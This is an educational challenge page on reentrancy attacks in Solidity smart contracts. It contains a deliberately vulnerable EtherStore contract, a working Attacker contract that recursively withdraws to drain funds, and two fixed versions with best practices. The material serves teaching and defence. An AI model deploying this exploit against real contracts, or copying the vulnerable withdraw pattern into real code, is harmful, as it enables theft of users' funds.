Reentrancy Attack Simulation
Identify and exploit a reentrancy vulnerability in a simulated smart contract, then implement proper safeguards.
Reentrancy attacks are one of the most notorious vulnerabilities in smart contracts. The infamous DAO hack of 2016, which resulted in the loss of 3.6 million ETH, was a result of a reentrancy vulnerability.
In this challenge, you'll learn how reentrancy attacks work, identify a vulnerable contract, exploit it, and then implement proper safeguards to prevent such attacks.
What is a Reentrancy Attack?
A reentrancy attack occurs when a function makes an external call to another untrusted contract before it resolves its own state. If the untrusted contract calls back into the original function, it may be able to manipulate the original contract's state in unexpected ways.
The basic pattern of a reentrancy attack is:
- Contract A calls Contract B
- Before Contract A completes its function execution (and updates its state), Contract B calls back into Contract A
- Contract A's state hasn't been updated yet, so the second call operates on the same state
- This can lead to unexpected behavior, such as multiple withdrawals
The Vulnerable Contract
Below is a simplified EtherStore contract that is vulnerable to a reentrancy attack:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableEtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
// This is where the vulnerability exists
// The contract sends ETH before updating the balance
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
// State update happens after the external call
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
The Attacker Contract
An attacker can exploit this vulnerability using a contract like this:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./VulnerableEtherStore.sol";
contract Attacker {
VulnerableEtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = VulnerableEtherStore(_etherStoreAddress);
}
// Fallback function is called when EtherStore sends Ether to this contract
receive() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ether to attack");
// Deposit into the EtherStore
etherStore.deposit{value: 1 ether}();
// Start the reentrancy attack
etherStore.withdraw();
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
// Allow the owner to withdraw the stolen funds
function withdrawFunds() public {
payable(msg.sender).transfer(address(this).balance);
}
}
How the Attack Works
Let's break down how this attack works:
- The attacker deploys the Attacker contract, targeting the vulnerable EtherStore.
- The attacker calls the
attack()function with 1 ETH. - The Attacker contract deposits 1 ETH into the EtherStore.
- The Attacker contract calls
withdraw()on the EtherStore. - The EtherStore sends 1 ETH to the Attacker contract, triggering its
receive()function. - Before the EtherStore can update the attacker's balance to 0, the
receive()function callswithdraw()again. - Since the balance hasn't been updated yet, the EtherStore sends another 1 ETH to the Attacker.
- This cycle continues until the EtherStore is drained or runs out of gas.
Fixing the Vulnerability
There are several ways to prevent reentrancy attacks:
- Use the Checks-Effects-Interactions Pattern: Always update the contract's state before making external calls.
- Use a Reentrancy Guard: Implement a mutex to prevent recursive calls.
- Use the
transfer()orsend()functions: These functions provide only 2300 gas to the recipient, which is not enough to call back into the contract.
Here's how we can fix the vulnerable contract using the Checks-Effects-Interactions pattern:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SecureEtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
// Update the state before making the external call
balances[msg.sender] = 0;
// Make the external call after updating state
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Using a Reentrancy Guard
Another common approach is to use a reentrancy guard (mutex):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ReentrancyGuard {
bool private locked;
modifier nonReentrant() {
require(!locked, "Reentrant call");
locked = true;
_;
locked = false;
}
}
contract SecureEtherStoreWithGuard is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 balance = balances[msg.sender];
require(balance > 0, "Insufficient balance");
// Even though we're making the call before updating state,
// the nonReentrant modifier prevents reentrancy
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Best Practices to Prevent Reentrancy
- Follow the Checks-Effects-Interactions Pattern: Always perform all state changes before making external calls.
- Use Reentrancy Guards: Implement a mutex to prevent recursive calls.
- Consider Using OpenZeppelin's ReentrancyGuard: This is a well-tested implementation of a reentrancy guard.
- Be Aware of Cross-Function Reentrancy: Reentrancy can occur across different functions that share state.
- Use Static Analysis Tools: Tools like Slither, Mythril, and MythX can help identify reentrancy vulnerabilities.
- Consider Gas Limitations: Using
transfer()orsend()can provide some protection, but they're not foolproof and have their own limitations.